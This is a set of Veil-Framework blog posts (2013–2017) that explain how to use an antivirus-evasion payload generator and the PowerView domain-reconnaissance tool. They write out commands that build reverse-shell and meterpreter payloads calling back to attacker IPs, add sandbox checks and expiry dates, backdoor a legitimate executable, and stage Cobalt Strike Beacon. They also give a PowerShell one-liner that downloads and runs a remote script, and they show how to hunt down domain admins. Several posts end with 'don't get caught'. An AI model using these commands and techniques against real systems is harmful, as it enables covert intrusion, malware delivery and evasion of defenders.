Veil 3.0 Command Line Usage

Most Veil users will utilize Veil’s interactive menu to generate shellcode and/or Veil payloads. However, I expect while only a minority of users take advantage of the command line options, that they do so quite heavily. Therefore, I wanted to ensure that a command line interface exists for Veil in the event the user wants to script its usage (or for any other means). With Veil’s 3.0 release, some of the options are the same, but a few more command line options have been introduced to the tool, which I hope to explain here.

Ordnance

I’ll address how to use Ordnance within Veil all from the command line, this should (ideally) be fairly straightforward. In case you haven’t used Ordnance before, it is a tool that is used to quickly generate shellcode for a variety of payloads vs. relying on msfvenom to generate the shellcode for you.

./Veil.py -t Ordnance --list-payloads

This command tells Veil to list all payloads (–list-payloads) for the tool Ordnance (-t Ordnance).

./Veil.py -t Ordnance --list-encoders

This command tells Veil to list all encoders (–list-encoders) for the tool Ordnance (-t Ordnance).

./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234

This command specifies to use Ordnance (-t Ordnance) and generate a reverse tcp payload (–ordnance-payload rev_tcp) which connects back to the ip 192.168.1.20 (–ip 192.168.1.20) on port 1234 (–port 1234).

./Veil.py -t Ordnance --ordnance-payload rev_http --ip 192.168.1.21 --port 1235 -e xor -b \\x13\\x98

This command specifies to use Ordnance (-t Ordnance) and generates a reverse http payload which connects back to the ip 192.168.1.21 (–ip 192.168.1.21) on port 1235 (–port 1235). The command then further specifies that an xor encoder should be applied (-e xor) and the bad characters \x13\x98 should be avoided (-b \\x13\\x98).

Evasion

Let’s go over a couple commands and I’ll explain their components:

./Veil.py -t Evasion --list-payloads

This command tells Veil to list all payloads (–list-payloads) for the tool Evasion (-t Evasion).

./Veil.py -t Evasion -p 33 --ordnance-payload rev_tcp --ip 192.168.1.3 --port 8675 -o christest

This command will actually generate an executable payload. It specifies that Evasion’s (-t Evasion) payload number 33 (-p 33) is selected by the user. For shellcode generation, use Ordnance’s rev_tcp payload (–ordnance-payload rev_tcp), and set the callback ip to 192.168.1.3 (–ip 192.168.1.3) and callback port to 8675 (–port 8675). Finally, name the output file christest (-o christest).

The main thing to note with this command is that it is using Ordnance for shellcode generation.

./Veil.py -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o chris

This command is fairly similar to the above command, but relies on msfvenom for generating shellcode. The command states to use Evasion’s (-t Evasion) payload number 41 (-p 41) and to generate windows/meterpreter/reverse_tcp shellcode via msfvenom with the callback IP set to 192.168.1.4 (–ip 192.168.1.4) and callback port set to 8675 (–port 8675). Finally, it names the output file chris (-o chris).

Now, what if you want to specify some of the required options for a payload? Here’s your answer!

./Veil.py -t Evasion -p 34 --ordnance-payload rev_tcp --ip 192.168.1.5 --port 8677 -o chrisout -c hostname=thegrid processors=2

This command specifies to use Evasion’s (-t Evasion) payload number 34 (-p 34) and have ordnance generate a reverse tcp payload (–ordnance-payload rev_tcp) with a callback IP set to 192.168.1.5 (–ip 192.168.1.5) with a callback port of 8677 (–port 8677). The output file is named chrisout (-o chrisout), and two checks are being specified. The payload will explicitly check to make sure the hostname of the system the payload is running on is “thegrid” (-c hostname=thegrid) and that there are at least two (2) processors on the system (processors=2). Yes, there is a space between hostname=thegrid and processors=2.

If you only wanted to check for the hostname, you would remove the processors=2 from the -c command (the command would now look like -c hostname=thegrid). Embedding basic checks, such as these, within your payload(s) can be useful when attempting to enumerate and avoid sandboxes.

./Veil.py --clean

Ideally, this one is self-explanatory. If you’ve created multiple payloads and just want to remove all the compiled output, source code, handler files, and tracked hashes, run this command and Veil will remove everything.

Hopefully this helps to explain Veil’s command line interface. However, if you have any questions, please don’t hesitate to reach out over twitter (@VeilFramework or @ChrisTruncer) and I’ll be happy to answer any questions. If you encounter any bugs, feel free to create a Github issue!

Posted on March 21, 2017 by Christopher Truncer 0

Veil-PowerView: A Usage Guide

[Note: this topic was cross-posted on my personal blog]

Veil-PowerView is a project that was originally prompted by a client who locked down their corporate machines by disabling all “net *” commands for normal users. While building pure Powershell replacements to easily bypass this protection, I began to explore what else could be done with Powershell from a domain and network situational awareness perspective. Being inspired by my boss @davidpmcguire, and drawing on existing work from @mubix, the offensive Powershell community (@obscuresec, @mattifestation, and DarkOperator), and the authors of various Metasploit modules like local_admin_search_enum, I began to build more interesting functionality to abuse Windows domains. Now that Veil-PowerView has been tested in multiple, diverse environments and has started to mature a bit, I wanted to put together a quick guide on using some of PowerView’s interesting functionality.

First, some basic usage: to get the most out of PowerView, you need a current Windows workstation with domain credentials. The credentials don’t need to be privileged, as many of the API methods abused by the tool only need basic user access. To load up PowerView, first download the raw powerview.ps1 script to a local location, and then launch Powershell:

C:> powershell.exe -nop -exec bypass

Then import the PowerView module with the following:

PS C:\> Import-Module [full path to powerview.ps1]

All of the PowerView cmdlets will now be exposed and tab completable (Invoke-[tab]). To get more information on any command, use get-help [cmdlet], with an optional -full flag to return complete information. I.E. “Get-Help Invoke-Netview -full“. To get a list of all the available functions, check the README.md. Arguments/flags for each cmdles should be tab completable, with something like “Invoke-Netview -[tab]”. If you want to output your results to a file, I recommend using the Powershell Out-File cmdlet, I.E. ”PS C:\> Invoke-Netview | Out-File -Encoding ASCII output.txt” (the -encoding flag is used since since Powershell defaults to Unicode). If you want detailed output for any of the PowerView commands, just add a “-Debug” flag, and if you want status output for any functions that enumerate multiple machines use “-Verbose”.

Now, on to the fun stuff. PowerView provides replaces for almost all Windows net commands, letting you query users, machines, domain controllers, user descriptions, share, sessions, and more. The Get-Net* cmdlets should cover most of your needs. For example, the Get-NetComputers cmdlet will let you search for all systems in the domain, and you can provide wildcard searches for the -HostName, -OperatingSystem, and -ServicePack. If you want to use this find all Windows XP boxes on the domain, run:

PS C:\> Get-NetComputers -OperatingSystem *xp*

Since we can search for operating systems and service packs, let’s take this one step further. How about finding all machines likely vulnerable to MS08-067, ping them and return any hosts that are up? There’s a function for that:

PS C:\> Invoke-FindVulnSystems -Ping

One of the common things we do on assessments is check for overly permissive file shares that our current user can read. This used to be a pretty manual process, but now we can automate it easily. The following command will query AD for machines using Get-NetComputers, ping each machine to ensure it’s up and responsive, get a list of available shares for each machine using Get-NetShare, exclude PRINT$ and IPC$ from the output, and check if the current user has read access:

PS C:\> Invoke-ShareFinder -Ping -ExcludePrint -ExcludeIPC -CheckShareAccess

Invoke-Netview is a port of Rob Fullers’s netview.exe tool. It uses native Windows API commands to get the sessions, shares, and loggedon users for target machines, often without needing administrative credentials. The following command will query AD for machines using Get-NetComputers, ping each machine to ensure it’s up and responsive, and wait for a delay of 10 seconds between touching each machine:

PS C:\> Invoke-Netview -Ping -ExcludeShares -Delay 10

A really useful thing on an assessment is to know where particular users are logged in. Say you compromise a user that has administrative access to local desktops on a domain. You can use functionality in PowerView to find where high value users (default “Domain Admins”) are logged in, and can even check if you have local admin on the found machines! The following command will query AD for machines using Get-NetComputers, ping each machine to ensure it’s up and responsive, query AD for members of the “Domain Admins” group, and then check if any users currently logged in/have a sessions on a machine match the target user list. Locations where Domain Admins are located are then displayed:

PS C:\> Invoke-Userhunter -Ping

If you want to hunt for a specific user or userlist, or use a pre-populated host list instead of querying AD, there are flags for those actions as well:

PS C:\> Invoke-UserHunter -UserName “jsmith” -HostList hosts.txt

An even stealthier way to find where target users are located is to find all the file servers mounted by users from their homeDirectory fields, and run a Get-NetSessions command on the found file servers. This will give you a large amount of information on most corporate networks with a minimal amount of traffic! Invoke-StealthUserHunter can automate all of this for you nicely:

PS C:\> Invoke-StealthUserhunter -GroupName “Server Admins”

There are plenty of more functions and options in Veil-PowerView than what we covered here: I encourage you to check out PowerView’s README.md as well as the descriptive comments for each cmdlet in the source which detail use cases, arguments and outputs for each function.

If you need to invoke PowerView in a non-interactive context, there are a few additional launching options. If you know the function and arguments you want to run (like Invoke-Netview) you can append the function name to the end of the PowerView file and run it with:

C:\> powershell.exe -nop -exec bypass .\powerview.ps1 > output.txt

You can also run it straight without any script modifications with:

C:\> powershell.exe -exec bypass -Command “& {Import-Module .\powerview.ps1; Invoke-Netview | Out-File -Encoding ascii output.txt}”

If you want to invoke everything without touching disk, use something like this:

C:\> powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/1mYPUO4’); Invoke-NetView -Ping | Out-File -Encoding ascii netview.txt“

There’s also a Metasploit module for running powershell commands through a session, post/windows/manage/powershell/exec_powershell. Before you use this module, first append the desired function and any arguments (i.e. “Invoke-StealthUserHunter”) to the end of powerview.ps1 on your attacker machine, and then specify the local path to the script in the module options. Metasploit will upload the script, run it on the target, retrieve the results and save them back to your local machine.

If you have any questions on PowerView, hit me up at will [at] harmj0y.net, on twitter at @harmj0y, Freednode (harmj0y in #veil or #armitage), submit an issue on the official Github page, or come check out the Veil-Framework at BlackHat Arsenal.

Posted on June 27, 2014 by Harm J0y 4

How to Safely Check Veil Payloads Against VirusTotal

In hindsight, this post is probably one of the first ones that we should have written, but better late then never.

As many of you know, we heavily state on our website, within Veil, and within the license, that you should not be submitting your payloads to VirusTotal, or any online virus scanner. We still heavily believe in this, and if you want the best chance to not get caught, just don’t do it.

With that said, there’s another option. In case no one has used it before, Rob Fuller (@mubix) created a great tool called VT-Notify. VT-Notify works by sending a SHA1 hash of a binary to VirusTotal through its API. The key thing to note here is that your payload is not uploaded to VirusTotal, simply its SHA1 hash. VirusTotal then uses the SHA1 hash against its AV solutions, and let’s you know if any of the SHA1 hashes have been flagged/detected by any of the antivirus solutions it has available. Again, while we still think it’s best to not submit any information anywhere, this is the best solution for checking to see if your payloads have been flagged.

First, in case you haven’t noticed, Veil is now creating a list within the ~/veil-output/ directory called hashes.txt.

Hashestxt

This file contains the SHA1 hashes of all payloads you’ve created, along with their name. This is what VT-Notify will use when interacting with VirusTotal.

VT-Notify has been added to Veil in two different areas, and can be accessed either way. To use it within Veil’s menu, simply start Veil, and then at the main menu you should see the new option. This is for a quick single check. Simply call the command “checkvt”, and you should see the following output if all your payloads are “clean”.

Checktvclean

Now, if one of your payloads have been flagged, you should see something similar to the following.

Checkvtcaught

This essentially concludes how to use it within Veil’s menu system. You also can use the tool, like normal with all its command line options from the command line. To to this, just simply browse to its location at /path/to/veil/tools/vt-notify/ and call it from within that directory.

Vtnotify

If anyone has any questions, feel free to hit us up in our forums! Thanks!

Posted on December 20, 2013January 13, 2014 by Christopher Truncer 1

Self-Expiring Payloads

The Veil-Framework team loves getting feedback from the community and like to hear if Veil works well for you, and learn about new ways we can add to the software that we hadn’t yet thought of/done. We were recently asked if any Veil payloads expire, and up until this point, they never did. This was a really interesting request as we hadn’t thought about adding this feature to Veil payloads, and we immediately began looking into it. In our latest V-Day release, we updated our Python payloads to support a date based expiration.

Expiring Payloads

As you can see in the picture above, we now have an extra option for Python payloads, the “expire_payload” option. To force a payload to expire after a certain number of days (in this instance, we’ll go with 10), we need to change the default value of “X”. You can change it exactly how you change any Veil payload’s options, using the set command.

Expire After 10 Days

ExpirePayloadInfo

The way that option works, is upon the creation of the backdoor, Veil stores the current date within the payload. Upon running on your victim machine, the payload will compare the current date on the victim system, to the date that it is supposed to expire. If it is past the expiration date, the payload will simply exit. If the payload is still within the allowed timeframe, it will inject your shellcode into memory and operate as it always does.

We hope that this feature helps, and we’d love to hear any feedback and/or additional feature requests!

Posted on December 15, 2013January 13, 2014 by Christopher Truncer 1

How to Customize Backdoor Factory Payloads within Veil

We were lucky enough to be able to include The Backdoor Factory by Joshua Pitts in our October 2013 V-day. It’s a great tool and we’re really happy to have been able to work with Josh to include the Backdoor Factory within Veil as an option. As it is currently implemented, the Backdoor Factory payload will backdoor the psinfo.exe executable that comes with Veil. So this leads to the question, how do you change the executable that is backdoored? That’s what this tutorial is set out to show you.

First, the you’ll need to select the executable you want to backdoor. In this instance, we chose the Microsoft tool Process Explorer. One thing to note when choosing the executable to backdoor, ensure that it’s not UPX packed. Also, in our current implementation of the Backdoor Factory payloads, we’re primarily focused on x32 binaries. Full support for x64 binaries within Veil will come in a future update.

Now that we have our executable, you want to copy it into the “tools/backdoor” directory within the Veil folder structure as shown below. Or, your other option will be to provide the full path to your executable for the orig_exe option (as shown in this video).

Now that our binary is in the correct location, we can start Veil. When listing the available payloads, use the “native/BackdoorFactory” payload. Now, we need to set our required option. Go ahead and define the LHOST and LPORT options to correspond with your handler. Now, we need change the “orig_exe” option. In this case, change the exe and have set to the new executable, in this case, “procexp.exe” (if you didn’t place your executable in the tools/backdoor directory, provide the full path to the executable you want to backdoor).

We can always verify that our options are correctly set by typing the “info” command.

Now that we’ve confirmed we’re all set, go ahead and give Veil the “generate” command. Veil will invoke the Backdoor Factory payload and use the process explorer executable. Once the backdoored executable has been generated, you should see Veil’s familiar output screen.

Now, simply move the backdoored executable onto your victim’s machine and run it. You will still see the executable run normally, except we now also receive a callback!

And that is how you change the program that is backdoored within Veil. If you have any questions, just let us know!

Posted on November 4, 2013January 13, 2014 by Christopher Truncer 7

PrependMigrate with Veil

We want to start this tutorial off with stating ScriptJunkie wrote a great article on PrependMigrate and how it works. In a nutshell, PrepentMigrate allows you to “start the shellcode in a new process”. This great feature works very well in instances where you receive your callback, and it dies nearly immediately. There could be multiple reason for this happening, and Metasploit’s PrependMigrate will help “save your shell”.

Now, by default, Veil payloads do not have this enabled. In order to do utilize this feature, we will need to set this when we are creating our payload within Veil. To begin, go ahead and start Veil, select your payload, and provide your LHOST and LPORT values. In this instance, we’re using python/FlatInjection, however, this should work for all payload options. When Veil asks if you have any additional msfvenom options, be sure to enter:

PrependMigrate=true

Once this has been entered, allow Veil to generate your shellcode, and then wrap it into a windows executable.

Now, simply set up your handler, drop your payload on your target machine, and execute it. If you’re viewing the running processes on the target machine, you will see your original payload running, but also rundll32.exe. Your meterpreter session (assuming that is your payload of choice) is now running within the rundll32.exe process and hopefully you have kept your session!

Hope this helps, feel free to ask any questions, and don’t get caught!

Posted on October 11, 2013October 11, 2013 by Christopher Truncer 1

How to use Cobalt Strike’s Beacon with Veil

Raphael Mudge recently made a great post on how to deliver and execute Beacon on a targeted machine with the metasploit framework. What’s great is that the Veil-Evasion framework also supports the creation of an executable that will act as a stager for Beacon right out of the box! We figured it would be worthwhile to show how to do this with one of Veil’s payloads. You can follow this guide or use the post that Raffi made as it follows nearly identical steps.

To begin, we want to start up Cobalt Strike and set up a Beacon listener on any port, in this case, we’ll use a http Beacon on port 80.

With our handler setup, it’s important to look at the CobaltStrike console and note the location of the beacon dll that we will be using. You should see something like this:

Once we have this info, let’s drop into Veil-Evasion. Basically we can choose any Veil payload type. In this instance, I’ll use python/FlatInjection. We don’t need to do anything special at this moment, just give Veil the “generate” command.

This next section is where we will point to our beacon listener. The payload we want to use is windows/dllinject/reverse_http. After that, provide Veil with the IP and port that your beacon listener is setup to use. One thing to note, is we will need to add in an “extra” option, which is the location of our dll (which we received earlier). Our console should look similar to the following:

After generating your shellcode, just provide a name for the executable, and you should be good to go. Simply take the executable and drop it onto your target/victim system by any means necessary. After getting it on the machine, and executing the payload, you should see your Beacon start checking in.

If you have any questions on this, be sure to let us know, hit us up on twitter, leave a comment, or submit a github issue if needed. Otherwise, hope this helps and don’t get caught!

Posted on September 27, 2013January 13, 2014 by Christopher Truncer 1

Veil is Available in Kali Linux

The Veil development team is happy to announce that as of today, Veil has been added to Kali’s repositories! Veil will always be available via github, but now we can also simply use apt to install Veil within Kali.

In order to install Veil with apt, simply run the following two commands:

apt-get update

apt-get install veil

You should see something similar to the following:

After installing Veil, navigate to the setup directory (as shown above it is as /usr/share/veil/setup) and run the setup script like you normally would. The script just ensures that all Veil specific dependencies are installed and sets up up a few variables that Veil uses during normal use.

After this, simply typing veil will start Veil for your use within Kali! We’re really happy and humbled to have Veil added into Kali, and hope to continue ensuring Veil not only helps us, but can help the security industry.

As usual, if you have any questions, bugs, requests, comments, etc. please don’t hesitate to get in contact with us on Twitter, Github, or via e-mail.

Thanks, and don’t get caught!

Posted on August 12, 2013November 20, 2013 by Christopher Truncer 6

Tutorial – Payload Development

A big part of our effort with Veil is to provide a framework for the community to integrate their own AV-evasion methods, public or private. With that said, we wanted to provide a tutorial on the general payload development process for Veil.

We’ve provided a payload template at ./modules/payloads/template.py :

The top of each module contains a comment string detailing the workings of the module, any references/prior work the module uses or was based on, and the author who wrote the module.

Imports of common Veil modules are up next using the form from modules.common import MODULE syntax, where MODULE is any of the python files contained in ./modules/common/*. These methods are then called with module.method() syntax. The following is a breakdown of some of the common modules/methods payloads can take advantage of:

common.helpers : various string/variable randomization methods, display helpers, etc.
common.encryption : encryption related methods (AES, letter substitution, etc.) and language-specific crypters/obfuscators (currently just Pyherion)
common.shellcode : the most commonly used module, allows for modularized shellcode generation: call shellcode.generate() to utilize built in menus and return the raw shellcode selected
settings : Veil’s configuration file, options referenced with syntax of settings.CONFIG_SETTING. Check out /etc/veil/settings.py for all available options.

Under __init__(), a few options are required:

self.description : a 1-2 sentence description of the payload
self.language : the language to group the payload under (currently python/cs/powershell/c#/native)
self.extension : the extension to write the payload file out to

Other options can used as needed:

self.shellcode = shellcode.Shellcode() : instantiated if shellcode generation is needed
self.notes : additional notes (i.e. manual compilation instructions) to display to the user on generation
self.required_options : payload options that require a value, of the format {option_name : [“default_value”, “description”], … } . A commonly used instance of this is the “compile_to_exe” option to instruct Veil to automatically compile the payload. Note: if no default value is supplied, Veil will automatically require a user to input a value before payload generation.

The generate() method is “where the magic happens”. Shellcode can be generated by Veil’s internal functionality be calling the internal shellcode object with the syntax Shellcode = self.shellcode.generate() like on line 42. Line 48 shows how to use a method in helpers to get a randomized string. Lines 51 and 52 demonstrate how to take advantage of appropriate source code encrypters. Finally, the resulting source code is returned so it can be processed by Veil.

Once you write your own payload module, drop it into the appropriate location in the ./modules/payloads/* folder and it will automatically load into the Veil framework. The general structure is [language]/[method]/[payload]. ‘Method’ at this point consists of “meterpreter” for Meterpreter stagers, and “shellcode_inject” for the various shellcode injection methods.

If you have any questions, feel free to get in touch with in #veil on freenode or checkout our forums at https://www.veil-framework.com/forums/ .

Posted on July 1, 2013January 13, 2014 by Harm J0y 0

Veil Tutorial – Usage

With the completely revamped menu structure released in Veil 2.0, we felt it was appropriate to write a short tutorial detailing how to use Veil. At any point, if anyone has any usage questions, please feel free to talk to any of us via Twitter at:

If you encounter any bugs, have any patches, or wish to add new features, send us a request via Github. Github lets us easily track the status of any issues and makes sure we can provide credit where necessary. You can also ask any questions on our forums or hit us up on #veil on freenode.

To launch Veil, execute $./Veil.py . Upon an initial run, Veil will execute ./config/update.py, which attempts to detect installation directories, operating system details, and other relevant specifications, which it writes out to /etc/veil/settings.py. This settings configuration file is also manually editable.

After configuration, you will be presented with the main menu. This details the number of payload modules loaded as well as useful commands:

Type “list” to list all payloads:

To list information on a specific payload, type “info [payload number/payload name]“, or “info [tab]” to tab complete the the payloads available. To use a payload, type “use [payload number/payload name]“, or “use [tab]” to tab complete the the payloads available. You can also just type the number of the payload from list in order to use the associated payload. On loading a specific module, the payload menu is presented:

This presents details and required options for the payloads, as well as relevant commands. Typing “info” will give more detailed information about the payload:

Under “required options”, the name of the option as well as its default value and description are displayed. If a value isn’t filled in for the default, you will be required to input a value before the payload can be generated. To set an option value, type “set [option name]” then type the desired value.

After filling in the required options, to actually generate the payload, type “generate“. If the payload uses shellcode, you will be taken to the shellcode menu, where you can select 1) msfvenom or 2) custom shellcode. If custom shellcode is selected, input your shellcode in the form \x01\x02… without quotes and newlines (\n). If msfvenom is chosen, you will be presented with the default choice of windows/meterpreter/reverse_tcp. If you want another payload, enter the windows payload in msfvenom syntax, or press [tab] to tab complete the available payloads. The MSF tree is automatically crawled, and payloads/options extracted. After choosing a payload, required options are presented (LHOST is tab completable for the local IP and LPORT is tab completable for 4444, the default MSF port). After filling in required options, the opportunity to enter extra msfvenom options in “OPTION=value” syntax is presented.

After pressing enter, shellcode is generated and the payload is built. You are then presented with the output menu, where you can choose the base name for your generated payload files. If your payload was python based and you set “compile_to_exe” in the options, you will be presented with the option of pyinstaller (compile to exe natively on Kali linux) or the generation of py2exe files.

The final screen displays information on the generated payload, including any compiled/source file locations. Pressing any key will return you to the main menu.

Veil also now incorporates command line switches for almost all options. ./Veil.py -h details all the available options. A quick example:

$./Veil.py -p python/shellcode_inject/aes_encrypt -o output --msfpayload windows/meterpreter/reverse_tcp --msfoptions LHOST=192.168.1.1 LPORT=443

Posted on June 17, 2013January 13, 2014 by Harm J0y 2

Veil – Framework